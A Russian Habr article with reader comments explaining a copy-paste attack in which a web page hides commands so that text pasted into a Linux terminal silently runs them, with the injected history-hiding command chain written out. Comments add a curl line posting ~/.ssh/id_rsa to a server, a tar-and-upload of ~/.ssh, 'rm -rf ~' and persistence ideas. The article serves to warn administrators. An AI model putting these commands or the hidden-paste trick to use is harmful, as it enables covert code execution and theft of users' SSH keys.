Web программист
28,8
рейтинг
17 января в 16:40

Разработка → Атака на пользователей Linux или как собрать ботнет руками админов

Для чистоты эксперимента предлагаю перейти по ссылке и выполнить по указанной инструкции «установку полезных пакетов». Инструкция для владельцев Ubuntu.

По ссылке всего лишь «демонстрация» данного вида атаки, но в любом случае данные действия лучше производить на полигоне виртуалке.

Ниже описание того, что случилось, в том случае, если вы не поленились произвести указанные выше действия.

Небольшое предисловие: часто бывает что работая с мануалами по настройке сервера лень вписывать все команды вручную, особенно длинные. Так же большинство приложений для работы в консоле игнорируют вставку перевода строки и просто моментально выполняют код.
Что если при копировании на странице кода подменить его таким образом, что бы при вставке в консоль — автоматически исполнились нужные команды и нюанс составляет только то, каким образом скрыть от глаз пользователя плохой код.

В итоге пришла такая мысль:
1. Просим пользователя повысить привилегии до рута, что как бы вполне логично, учитывая дальнейшую установку пакетов.
2. Пишем длинную команду, заставляя тем самым пользователя скопировать (именно скопировать а не ввести код руками).
3. При копировании — буфер обмена подменяется связкой нужных для проведения атаки команд. А именно:
set +o history && echo 'echo you hacked!' > /tmp/test.sh && chmod +x /tmp/test.sh && /tmp/test.sh && printf "\033c" && set -o history
sudo su
apt-get update && apt-get install mc && apt-get install vim && apt-get install htop && apt-get install man


Разбор первой строки:
1. Отключаем историю введенных команд
set +o history

2. Собственно создание и исполнение вредоносного кода
echo 'echo you hacked!' > /tmp/test.sh && chmod +x /tmp/test.sh && /tmp/test.sh

3. Очистка консольного экрана (можно и clear)
printf "\033c"

4. Включаем обратно историю
set -o history


Вторая строка — запись в историю введенной раньше команды.
И собственно код полезной нагрузки.
В итоге (зависит от используемой консоли), при вставке скопированного кода непосредственно в консоль — выполнятся нежелательные команды, которые не отобразятся в истории и на экране.

Если все прошло как надо — по адресу /tmp/test.sh будет находится «зловред», который в момент вставки кода в консоль успешно выполнился.

В общем, используйте терминалы которые предупреждают о вставке кода с переводами строк и не вставляйте бездумно код с непроверенных источников. Для Windows есть ConEmu, который предупреждает о вставке подобного кода.

P.S Приведенный выше пример — всего лишь мои догадки о возможной проблеме. На практике с таким не сталкивался.
Статья написана только с целью предостеречь пользователей о таком, вполне возможном векторе атаки.


UPD. Спасибо ValdikSS за наводку thejh.net/misc/website-terminal-copy-paste. Обновил пример.

Хотелось бы так же услышать мнение пользователей, на сколько реальная угроза на практике. И заметили ли вы выполнение кода после вставки скопированной команды в консоль.
Заметили ли вы выполнение «вредоносного» кода после вставки команды в консоль?

Проголосовало 637 человек. Воздержалось 322 человека.

Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.

Богдан Рыхаль @ganjar
карма
55,2
рейтинг 28,8
Web программист
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Спецпроект

Самое читаемое Разработка

Комментарии (111)

  • +12
    Кто же под убунтой копирует текст из браузера в терминал, если можно просто выделить и средней кнопкой мыши в нём нажать!

    А по сабжу — банально нужно смотреть, что ты пишешь в консоль, если в какой-то статье будет «Введите в консоль sudo rm -rf ~ чтобы установить GTA5» это тоже угроза безопасности?
    • +4
      1. Не все используют такой метод вставки команд, к тому же многие админят сервер из-под винды используя тот же PuTTY.
      2. Тут история в том — что ты как раз смотришь что копируешь, только скопированный текст будет отличатся от ожидаемого.
    • 0
      Должно работать с администраторами, которые сидят в Windows и копируют команды из браузера в терминал putty.
      Меня насторожило, что после выделения текста мышкой и выбора Copy из контекстного меню выделение пропало, обычно оно остаётся. Браузер Firefox.
      • 0
        Сделал подмену стиля выделения. Да, действительно в Firefox не сработало. В хроме все ок.
      • 0
        FF Developer Edition — выделение не пропадает.
        • 0
          Я так понял, что пример обновили по совету ValdikSS, вот и не пропадает уже.
    • 0
      удалено
    • +2
      Средней кнопкой то же самое, кстати.
    • +8
      Будучи только начинающим пользователем linux и ещё не зная всех команд я выполнил по чьему то гениальному совету с форума команду
      rm -rf ~
      что сбросить настройки compiz в значения по умолчанию. Совет конечно подействовал и настройки compiz реально сбросились, но это было хороший урок по восстановлению 6Гб фоток
      • +5
        Патч Бримана это классика. Вроде как стыдно признаваться в том что попался. Но мне как-то не стыдно.
        Я в свое время попался. Под рутом естественно.
        И были не гифки а полноценный сервер на котором крутилась мини-атс с биллингом, ну и роутером работала потому что основная нагрузка на сеть была именно на атс.
        Попался я потому, что в аську мне ее кинул мой хороший знакомый админ которому я доверял гораздо большие вещи чем сервер.
        А он так пошутил потому что был уверен, что я более опытный чем на самом деле, и пойму шутку, а не буду ее выполнять.
        В принципе его понять можно, потому что опыт программирования у меня к тому времени был большой, я даже как-то кем-то командовать успевал, сервак в значительной мере сам перед этим поднял, по крайней мере телефонный софт собирал сам, железо для АТС настраивал сам, биллинг писал сам. А вот патч Бримана выполнил).
        Но сейчас это хорошее воспоминание.
        1 — меня еще в школе научили как обращаться с оружием, и я не могу сделать над собой усилие в тире, пластмассовыми пульками стрелять по мишеням, если в другой стороне, совсем-совсем сбоку, но на линии огня находится человек. Но вот то, что с кодом нужно так-же само, и нельзя надеяться на какие-то умолчания типа как тут «он же умный» — это я понял только в этой истории.
        2 — был интересный, чисто теоретический опыт, что после полной очистки файловой системы сервер продолжал работать. Не всё, но основные функции да.
        3 — эпичный для меня опыт воскрешения сервера в короткие сроки, когда мы с тем самым админом в четыре руки работали на горячем сервере. Тогда основной функционал восстановили часа за два. Потом упал основной канал интернета. В те годы резервом у нас был… диалап на ISA-шном модеме. Подняли канал на 28.8к. Я поигрался с кодеками. дальше картина: я лежу под столом на физической консоли воскрешаю целостность биллинга. Админ через putty качает какие-то пакеты, что-то обновляет и приводит в рабочее состояние. Качает. Звонок клиента. Коннект, всё ок. Второй звонок. Скорость скачивания упала в ноль. Но что-то качается. Админ даже что-то серфит. Всё это напомню на 28.8кбит. Потом этих клиентов опрашивали — сказали что связь была препоршивая, хотя разговаривать было возможно, но некомфортно, поэтому они поговорили коротко и отложили на потом.

        Но это сейчас, когда от фирмы уже не осталось ничего кроме горсти железа на чердаке… Сейчас забавно вспоминать. Тогда обидно было :)
        • +1
          Патч Бримана
          Имеете в виду Патч Бармина?
          • 0
            Да, конечно. Простите.
  • +7
    Забавно. Кстати, строка подменяется только если использовать буфер по Ctrl+C. А вот копирование-вставка через выделение и третью кнопку мыши работает, хотя именно он обычно используется активнее всего.
    • +6
      Обновил пример. Теперь копипаст через «третью кнопку мыши» сработает, + не нужен JS.
      • +1
        Есть кстати еще один коварный момент. Если вставлять в конец дополнительный перенос строки, то при втыкании буфера в терминал, команда уже выполнится к тому моменту, когда незадачливый пользователь ее прочитает.
        • +4
          Собственно это и должно произойти. apt-get update тоже не спроста добавлен именно в данный кусок кода. Он выполняется сразу за вредоносом и должен замести следы длинным выводом.
          • 0
            А бы сделал сначала apt-get update, затем зловред и затем установку. Потому что например у меня, после apt-get update проходит значительное время всего с одной строкой чтения базы данных.
        • +2
          Для этого в продвинутых эмуляторах, например, ConEmu существует диалог подтверждения выполнения если вставлен перевод строки. Думаю в этих ваших линуксах тоже должно подобное быть.
      • –10
        У меня таки не срабатывает, потому что не bash, а fish, который в эти ваши && не понимает
        • +18
          О, а вот и любители sh-несовместимых шеллов подоспели)
          • –5
            Вы так говорите, как будто это что-то плохое
  • 0
    Ваш вариант не работает со вторым буффером, но только с ctrl+c/ctrl+v.
  • 0
    Ещё бывают варианты с длинными строками в середине инструкции, который принципиально не отличается.
  • 0
    несколько лет назад была подобная статья, с тех пор подозрительные копи/пасты через блокнот проверяю.
    И, кстати, не сработало т.к. Firefox+NoScript
  • +9
    Ваш вариант не очень хороший.
    thejh.net/misc/website-terminal-copy-paste — вот этот не только работает с выделением и вставкой третьей кнопкой мыши, но и не теряет выделения при нажатии CTRL+C.
    • +1
      Спасибо, интересное решение. В данном случае код скопируется даже при отключенном js.
  • +17
    Не знаю. Возможно это влияние естественного отбора имени Gentoo, но я никогда не копипащу команды с сайтов.
    Сначала знакомплюсь с принципиальным смыслом статьи и, читая до конца вникаю в суть происходящего. Потом в консоли руками пишу нужные команды. Длинные команды вообще никогда некопипащу. Не знаю по какой причине.

    Кстати, то, что вы показали — ничто по сравнению с относительно довольно популярным в среде любителей «не думать, мы же не на экзамене»
    curl -sL <url> | sudo sh
    

    и его вариации (например brew.sh/linuxbrew )
  • –2
    Окей-окей, а что будет если:
    1. скопировать
    2. открываем редактор комманд
    EDITOR=vim fc
    3. пастим
    :+
    4. ???
    5. PROFIT

    Вопрос: на п.3 можно пропихнуть vim'у escape-sequence Esc-:q!\n?
    • 0
      Зачем так сложно? Можно же тупо в конец конфига дописать перенаправлением >>.
      • 0
        Прикол не в этом. Прикол в том, что если послать правильный escape-sequence, то можно выйти из любого редактора и всё равно выполнить что угодно. Пока проверить не дошли руки, но…
        • 0
          А не проще добавить в пользователей нужного пользователя с высокими правами, прописать его в sudoers и прислать на почту ip / логин / пароль?
          • 0
            Попробовал: толи у меня руки кривые, толи fc — валидная защита — не сработало.
  • 0
    Возможно я не буду полностью прав.
    Обычно ИТ специалисты или те, кто лезет в командную строку по делу изучает команды которые вводит.
    Я сегодня словил себя за этим, когда изучал команды для поднятия L2TP на Mikrotik, хотя их использовать вовсе.
    Может стоит провести социальный эксперимент, который пакажет насколько это правда?
    • +9
      Обычно ИТ специалисты или те, кто лезет в командную строку по делу изучает команды которые вводит.

      А Вы наивный. IT-специалисты быть может и читают. Но далеко не все админы — IT-специалисты.
  • +2
    Оба примера не работают, если выделять тройным кликом (я так делаю в случае длинных строк) — происходит выделение части строки, что может (и должно) вызвать подозрение
    • 0
      FF — тройной клик отлично сработал, проблема в хроме.
      • +6
        Или не проблема :) Смотря как относиться к этому.
  • 0
    deleted
  • 0
    hotfix: перед вставкой кода напечатать ( или `.
  • +6
    Вообще терпеть не могу, когда сайты без спроса или скриптами меняют твой буфер обмена, причем браузер даже не пискнет! Если надо что-то скопировать — то я сам выделю то, что МНЕ надо и всё.

    Негодую и выражаю пожелание разработчикам браузеров что-то придумать с этим
    • 0
      Если рассмотреть пример, то чисто технически — никакой подмены нет. Посмотрите исходный код. Вредоносный код присутствует в тексте, просто резко смещён за пределы экрана, при этом физически находясь на месте первого пробела. Если самостоятельно выделить первый пробел вы получите вредоносный текст. И это будет не подстановка — опять же технически вы сами его выделили и скопировали.
      • 0
        Зависит от реализации. Первый вариант был с подменой на js — код подменялся в момент копирования. + в сss делалась подмена стиля выделения что бы не пропадало выделение после копирования.
  • +4
    Поэтому я сначала вставляю в текстовый редактор, а уже потом оттуда копирую если всё нормально на выполнение. И это только после проверки содержимого.
    • 0
      Можно ещё на много невидимых редактором пробелов попасться, если wrap отключён (например, таких, которые редакторами не считаются whitespace-ами, но в терминале работают как пробел).
  • +12
    Fucking amazing. Пошёл репортить в багтрекер мозиллы.
  • 0
    Есть такая мысль, что перед вставкой проще вставлять 2 символа комментария строки. Я вот поймал себя на мысли, что уже 5 лет после того как где то накосячил делаю именно так. После чего видим весь код который вставлен и читаем уже его. Замечания, конечно, что могут быть 2 перевода строки уместны, но копи-паст нужен только на тестовых стендах. В продакшен идёт только отработанные технологии.
  • +8
    • +1
      А там уже duplicate и ссылка на https://bugzilla.mozilla.org/show_bug.cgi?id=504748 с RESOLVED WONTFIX…
      Видимо не понимают, кому и зачем это нужно.

      • +2
        Я почитал оригинальный баг — суть в том, что «page developer can always create invisible text — with 0 size, spacing, etc» — и по этой причине закрыли, мол, экзестенциальное и нефиксируемое.
    • –1
      **дичайший оффтоп**
      да ладно, охренеть, сёнен.ру? спасибо за счастливое онемедетство!
  • +1
    Код не сработал, не использую sudo и всегда копипасчу код, предварительно вставив #.
    • +6
      В конкретно этом примере вам нажмут «enter» и дадут другую команду на следующей строке. первая будет закомментирована, вторая выполнится.

      Наличие пароля на sudo —


      Я не уверен, что мой компьютер более ценен, чем мой $home.
      • +1
        Эшелонированная оборона важна в том числе и с целью восстановления после прорыва первых эшелонов.
        Согласитесь, что компрометация рута увеличит масштаб и сроки ликвидации последствий компрометации почты, фейсбука и т.п.
        Вредоносы могут сидеть где угодно, но на системном уровне их сложнее выловить.
        Вспомнилась шутка:
        https://pp.vk.me/c631619/v631619221/b6ba/fjgVxmtiOEc.jpg
        • +2
          Компрометация root'а (обнаруженная) — это 15 минут на переустановку, возможно, даже с сохранением списка паролей и наиболее ценных конфигов.

          А вот компрометация home (ака спёртые пароли и ключи) — это катастрофа, последствия которой будут кусать несколько лет.
          • 0
            Компрометация рута, если достаточно времени — гарантированно приведет в компрометации ВСЕХ пользователей системы.
            Вне зависимости от любых настроек. 15 минут на переустановку? А весь софт, все конфиги это всё заново пересобирать, перечитывать, это тоже в 15 минут уложится?
            Единственное преимущество в случае взлома рута это то, что его проще обнаружить, и есть высокий шанс, что атакующего кикнут быстрее чем он наломает дров.
            Понятно что есть куча вариантов сигнализации о подозрительной активности, в том числе и переопределение альясов шела, о котором уже упоминали в этом топике. Конечно есть бекапы, есть регулярный анализ логов и т.п. Но в чистом виде компрометация рута опаснее.
            • +1
              На домашней системе — ну сколько там системных конфигов-то? Я вот подумал-подумал, в моих домашних условиях — ну несколько mount'ов, настройки lightdm, да судо — и всё.

              Тут надо рассматривать два вектора атаки: на сервер и на рабочую станцию админа.

              На сервер: root — решает всё. Время восстановления обнаруженного компрометированного сервера — десятки минут (система управления конфигурациями, раскатывает всё с нуля). Ущерб — потенциальный ботнет и утечка данных с этого конкретного сервера. В 99% случаев ничего критического, максимум пара-тройка паролей к БД (которые быстро меняются и автоматически же раскатываются по остальным участникам процесса). Креденшалов сам сервер никаких не имеет, обычно всё по ключам, от которых у сервера нет приватных частей.

              На рабочую станцию: рут не играет ощутимой роли, компрометация (кража) креденшалов — катастрофа неясного масштаба, так как есть множество аккаунтов, информация о топологии сети и настройки доступа к многим частям сети.

              Пожалуй, я начну с большим уважением смотреть на аппаратный токен к VPN'у — его-то точно копипастом не сопрёшь.
      • 0
        Ну значит помимо # возьму на вооружение и копирование через блокнот.

        А про пароль на sudo и вообще отсутствие sudo я к слову сказал. Тут я с Вами согласен, что на рабочей машине /home/ важнее всего остального.
  • +1
    С недавних пор почему-то вставляю команды через блокнот/gedit. В основном дабы оптимизировать/отредактировать под себя. А тут вон оно как…
  • +2
    В опросе не хватает опции. «Я всегда сначала копирую команды в текстовый редактор.» Соответственно, все трюки с буфером были замечены до того, как попали консоль.
  • 0
    Один из множества социальных хаков.
    К счастью нежизнеспособен, т.к. раскрутка контента для получения трафика админов, которые будут копипастить это в консоль, будет намного дороже выхлопа от захваченного сервера (в среднем).
    • +3
      В среднем — да. Но вот у нас в компании есть люди, у которых есть рутовый/равный рутовому через sudo доступ на несколько десятков тысяч серверов. С исходящими каналами в несколько десятков терабит с нескольких континентов и просторными ipv4-сетями. Очевидно, что один такой аккаунт ценнее, чем несколько тысяч «рутов на своих vds'ках», или домашних пользователей с adsl'ками.

      А ещё бывают сетевые администраторы. Или даже бэкоффис админы, которые имеют админский/рутовый доступ на компьютеры/сервера бухгалтерии, где тот или иной уровень к деньгам.

      А если подумать про админов платёжных систем, разработчиков ПО для банкоматов и их maintanance-команды…

      Короче, это атака не на «широкие массы», зато с потенциально очень большой глубиной проникновения.

      Потому что очевидное место, куда должен писаться скрипт (из примера) — не в /tmp/, а куда-нибудь в районе ~/.xinitrc, crontab, ~/.config/autostart/, ~/.config/autostart-scripts, etc.

      После этого скрипт очень аккуратно пытается подключиться к командному центру и дать возможность для анализа ~/.ssh/config админа (вуаля, на моей домашней машине — 163 строки, сколько на рабочем ноутбуке даже лениво считать, и половина из этого — с '*' в имени — то есть число машин очень обширно), и, можно сказать, deep penetration выполнен. Дальше нужно аккуратно стырить ssh-ключи с машины и проснифать пароли. (А рядом лежит gpg ключик, которому доверяют несколько роботов — он плюс пароль от него — ещё кусочек хаккерского счастья).

      Короче, это ОЧЕНЬ серьёзная атака на очень серьёзную часть современного IT.
      • –3
        Вы вообще ничего не понимаете.
        Никто не анализирует взломанный сервер вручную. Это дебильое занятие и потеря времени.
        Если цель — именно эта компания и именно этот сервер — взламывать его через привлечение админа на ресурс и подсовывание ему комманд шлла никто не будет, вероятность — 0.

        1. метод не массовый;
        2. метод не подходит для таргетированного взлома;
        3. практической пользы 0;

        Почему вы решили, что ваши широкие ип4 адреса или каналы имеют какую-то ценность для хака? Вы считаете, что достаточно получить доступ к серваку и толстым каналом, хоть на час — и деньги сами потекут в руки?
        • +5
          С учётом, что статья может быть нацелена на конкретную группу админов (например, «скрипт для автоматической балансировки маршрутов к AS между несколькими аплинками»), процент успешных попаданий будет очень высок.

          Для таргетированного взлома очень даже подходит — натырил ~/.ssh/config, id_rsa, наснифал пароли — и всё, готовый суперботнет из роутеров и серверов.

          Мои каналы точно представляют ценность — просто уточните на чёрном рынке, сколько стоит DoS-атака на 40000Гбит/с на час.
      • 0
        Короче, это ОЧЕНЬ серьёзная атака на очень серьёзную часть современного IT.


        Эко ж Вас приторкнуло. Атака баян баяном. Я о ней услышал лет пять назад как минимум. Уже тогда баяном была.
        Помимо копирования через блокнот, это надо быть очень сильно упоротым (а нефиг вообще что-то в терминале делать, если Вы упоротый), чтоб не заметить, что у вас взял и просто так экран очистился. Вообще хорошим тоном считается просматривать вывод команд, которые Вы ввели. А если он (экран) взял и вдруг очистился без видимых на то причин, стоит нажать shift+pgup, экран пролистнуть, или что у Вас там.
        • +1
          А если он (экран) взял и вдруг очистился без видимых на то причин, стоит нажать shift+pgup, экран пролистнуть, или что у Вас там.
          Как это спасёт от malicious_code(); echo -en "\r<a lot of spaces>\recho \"valid command\"\n"?
          • 0
            Это уже интереснее. Тут вроде только копирование через блокнот поможет. Но это никак не отменяет то, что «скрытое» копирование из броузера — баянище дремучее.
  • 0
    Сразу вспомнилось:
    Я – Чукотский вирус. В связи с очень плохим развитием информационных технологий на моей родине, я не могу причинить вред вашему компьютеру.
    Пожалуйста, будьте любезны, сотрите самостоятельно несколько важных файлов с жесткого диска, а затем перешлите меня своим друзьям.

    Заранее благодарен.
    Чукотский вирус.
    • +2
      О эти блаженные времена, когда текст был пассивным…
    • –12
      Вот только родина — это страна. У Чукотки родиной будет — это Россия. Т.е. вы сказали:
      «В связи с очень плохим развитием информационных технологий в России, я не могу причинить вред вашему компьютеру.»
      А я бы не сказал, что всё очень плохо в России…
      • +5
        «Когда государству от тебя что-то надо, оно начинает называть себя родиной»
      • +6
        Госсподи, молодой человек, всюду Вам шпионы мерещатся.

        Никогда бы не подумал, что на Хабре найдутся люди, которым надо разъяснять анекдоты. Этот анекдот существует в миллионе разных вариаций — вирус был то нигерийский, то таиландский, то ещё какой — это в целом неважно; но его смысл в том, что «у <авторов вируса> программисты настолько никакие, что чем пытаться программу написать, проще вежливо попросить хозяина компа». А не в том, чтобы меряться пиписьками информационными технологиями.
        • –6
          Я в курсе, и тоже читал разные версии и смысл их понятен, просто версия про «нигерийский вирус» была веселее, чем шутка про Россию, которая в целом не соответствует действительности, и шутка таким образом не удалась.

          Это как сказать:
          «В связи с очень плохим развитием информационных технологий в [b]Соединенных Штатах Америки[/b], я не могу причинить вред вашему компьютеру. -Ваш АНБ.»
          Ну просто не смешно даже получается, я лишь про это имел ввиду. Неужели не понятно?
          • +6
            Почему бы и нет? Например «у нас в Канзасе очень плохо с компьютерами, есть только старая печатная машинка у учительницы Доротти...»
          • +1
            А Вы не можете представить себе ситуацию, что мне лень было вспоминать точный текст этого письма, я нагуглил фразу «пожалуйста сотрите несколько файлов», и что первое попалось, то и скопипейстил? Без единой задней мысли?

            В моё время патриоты с гранатами под танки бросались, а сейчас — с пеной у рта на анекдот. Тьфу.
  • 0
    Всегда веду файл инсталляции, в которой по порядку вношу все команды, которые собрался ввести и подправляю на свое усмотрение, и только потом топаю в консоль. Ну и бекапы, бекапы, бекапы!!!
    • +2
      Помимо удаления и порчи информации, к сожалению, существует ещё и её кража. Никто не мешает даже без root в скрипте выполнить:
      curl -X POST -d @$HOME/.ssh/id_rsa http://server/page
      
      ну или что посложнее.
      • +14
        Тут вспоминается старая шутка «UNIX — система, в которой не знаешь, как сегодня называется команда ls».

        И, кстати, в каждой шутке есть доля шутки. Помнится, лет 20 назад у нас в одной конторе на сервере команды ls, rm и т.д. были заменены скриптами, которые слали всем, кому положено, вопли о том, что «система зОхвачена врагами», а настоящие команды были переименованы во что-то другое, уже не помню что.

        (Ведь, как Вы понимаете, любой нормальный хакер, вломившись на сервер, первым делом «осматривается», и угадайте, какой командой...)
        • 0
          Вы сделали мой понедельник! Спасибо :)
        • +2
          О, а вот за эту идею спасибо, самое то для параноика.
        • +2
          Интересно, сколько раз эту «сигналку» случайно срывали в похмельный понедельник или запарную пятницу? Вангую, недолго музыка играла.
          • 0
            Своевременно полученные трындюли (за ложную тревогу) замечательно способствуют выработке условного рефлекса.

            (Следует также заметить, что никто не запрещал админам на домашних машинах сделать так же и тренироваться на кошках вырабатывать привычку в повседневной жизни.)

            Кроме того, пищать начинало сначала у админов, поэтому в случае ложной тревоги спрашивалось «кто бросил валенок на пульт??» и распространение сигнала дальше отменялось.
        • +1
          После годов доса и команды dir, мне ls был так непривычен, что первым делом на ЛЮБОМ линуксе, я делаю себе алиас для ls и юзаю уже именно его.
          • 0
            Вот и я про то же: ну какой нормальный хакер сможет вообще догадаться, что на нашем сервере ls — это вовсе не ls, а скрипт «рятуйте, прихожане, нас взломали!» (тем более, что в конце он всё равно вызывает ls, чтобы не спугнуть взломщика)
          • 0
            В openSUSE он уже есть, выводит то же самое что и ls -l
            Program 'dir' is present in package 'coreutils', which is installed on your system.
            Absolute path to 'dir' is '/usr/bin/dir'. Please check your $PATH variable to see whether it contains the mentioned path.
      • +1
        Ну тогда уж
        tar /tmp/cvfz ssh.tar.gz ~/.ssh/ ; curl -X POST -d @/tmp/ssh.tar.gz http://server/page
        
        • 0
          Это уже мелочи :) Можно в крон хоть rsync прописать.
    • +1
      бекапы, бекапы, бекапы!!!
      Частые ZFS snapshots спасут отца русской демократии.
  • 0
    Давненько про такой же способ читал здесь же, на хабре. После этого взял за привычку копипастить сначала полный перечень в блокнот, а потом уже оттуда в консоль. Если вижу что-то подобное — сайт в бан.
    • +1
      Большинство новостных сайтов при копировании текста с них дописывают в конец что-то типа «Подробнее на newssite.ololo» и это вполне нормальная практика. Когда незадачливый копипастер невнимательно вставляет информацию на свою страничку или в форум, он делает источнику дополнительную рекламу.
  • 0
    Oh-my-zsh
    Установка:
    sh -c "$(curl -fsSL https://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh)"
    


    На выходе в последующем он предлагает обновляться. Создаем нужный продукт, а в нужный момент просто подсовываем обновление.
    Вот тут действительно большое количество пользователей линукс даже не заметят подвоха.
  • 0
    Интересная штука получается, впредь буду внимательнее относиться к сетевым мануалам/форумам/HowTo и посмотрю в сторону NoScript. За описание спасибо.
    • +2
      NoScript не спасет
    • 0
      NoScript не спасает, хотя очень полезная штука. Технически немного некорректно описано, не «буфер обмена подменяется», а «выделением захватывается невидимый глазом кусок текста».
  • 0
    Не сработало, т.к. уж не знаю почему(вернее знаю, мне лет десять назад javascript-ом подсунули патч брамина), но для копипасты команд привык использовать lynx/links, а оно болт ложит на всякие хтмл5/цсс/жабаскрипт/фонтсайз=0.
    • 0
      Ага, ага, особенно с сайтов, которые контент без js'а показать не могут.
      • 0
        Ну вот хз, пока не встречал такого(при копипасте). А копировать что-то с сайта, который кроме мануала ещё предлагает увеличить член, узнать, что за кровавое месиво было на евровидении и узнать как сделать так, чтобы машина кушала 1л бензина, брр, спасибо, у меня доверия к таким сайтам просто нет.
        • +1
          Зато есть доверие к умному бложику про настройку foo c поддержкой BarSQL. Более того, если бы я был автором злого червя, то я бы написал саморазмножающегося червя, использующего креденшалы взломанного пользователя для замены во всех постах во всех социальных сетях и бложиках unix-команд на сниппет, который выполняет оригинальную команду и запускает червя.
          • 0
            Если в хау-ту с умного бложика виднеются странные комманды со скачиванием файлов фигзнает откуда и запуска скачанного и прочие странности без внятного объяснения — то это хауту идет в дупу бодрым шагом и ищется другое по настройке foo с поддержкой blackjack и прочих sql. Задача в том, чтобы посмотреть глазом, понять что оно этим делает, и далее для ускорения отупения это дело скопипастить. Если такого хауту не находится, то быдлохауту изучается подробно и исправляется, либо становится ясным, что быстрое развертнывание накрылось медным тазом.
            П.С. В продакшене оное я естественно применять не стану, предварительно едным тазом и пора курить мануалы.
            П.П.С. А вот что будет если какая-то «добрая» душа ломанёт офф. сайт дистрибутива с документацией и навставляет туда скрытых приколов? От такого вариант просмотра через тупой браузер очень даже поможет.
            • +1
              Виднеется? См пример в посте. В том-то и дело, что не виднеется.

              Я серьёзно. Просто попробуйте перейти по ссылке и посмотреть на то, что написано на странице.
              • 0
                Ну перешел, и чего я там должен был пропустить?
                Или вы забыли, с чего начался наш с вами диалог?
                http://s019.radikal.ru/i632/1601/f5/2f50254ae552.png
    • +1
      Патч Бармина же.
      lurkmore.to/_/3454#mws_lKNAJDi
  • +1
    Не далее как месяц назад похожим образом был подломлен один лабаз, торгующий за биткойны. В буфер, перед актуальным кошельком получателя, из хидден спана прилетал адрес кошелька кулхакира, и в поле ввода адреса получателя вставлялся именно он. Просто и изящно.
  • 0
    От этой «атаки» текстовый редактор спасает, через него делаю обычно.
    Но если сайт с инструкцией которую нагуглил админ подконтролен хакеру, то можно и тоньше сработать, так что блокнот не поможет.

    Хакер может сдалать свой «неофициальный репозитарий», каких тысячи, и в командах указать его добавление в источкники и установку из него.
    Аналогично просто свои .rpm, .deb итп.

    И оттуда может и искомый софт ставится, паралельно с установкой трояна, для того чтобы админ успешно протестировав решение с чистой совестью залил трояна на продакшен.

    Против этого — только выгугливать сайты с которых читаешь инструкции.
    А если это был только что скомпрометированный сайт, то и вообще никак.
    Из официальных репозиториев то то и дело что то недоступно к установке, и админ бродит по просторам ищет решение.
    • +1
      Есть тонкая разница между «доверьтесь этому ключу» и «вот эта безобидная команда посчитатет вам foo по bar». Глазами видно, что ничего страшного нет (и не echo test tes test, разумеется), а просто математика в цикле у for, например. А внутрях у неё (в копипасте) — добавление job'ы в crontab.
  • 0
    Скопировал, вставил в блокнот. Что сказать, неплохо, попасться можно. С другой стороны, вряд ли кто-то так делает и вряд ли 1% от 1% от всех десктопных юзеров составят серьёзный ботнет. Но идея годная, хотя бы для троллинга. Знать такое – обязательно!
  • 0
    Так и не понял. Зловредный код выполняется до судо. В чем тайный смысл?
    • 0
      Наверное, в доступе к тому что не требует рута
    • 0
      Первый пункт в примере «Входим под супер пользователем:
      sudo su
      Дальше весь код выполняется под рутом»
    • +2
      Даже без судо от зловредного кода ничего хорошего если он выполнится на пользовательской тачке.
    • +3
      Тайный смысл в том, что социальная инженерия имеет такой инструмент, которым при должном использовании можно очень даже широко воспользоваться
  • 0
    Очистка экрана не сработала — оно просто проскролило строку вверх экрана. Я после каждой команды скроллю вверх и смотрю, что выполнилось.
    iTerm2.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.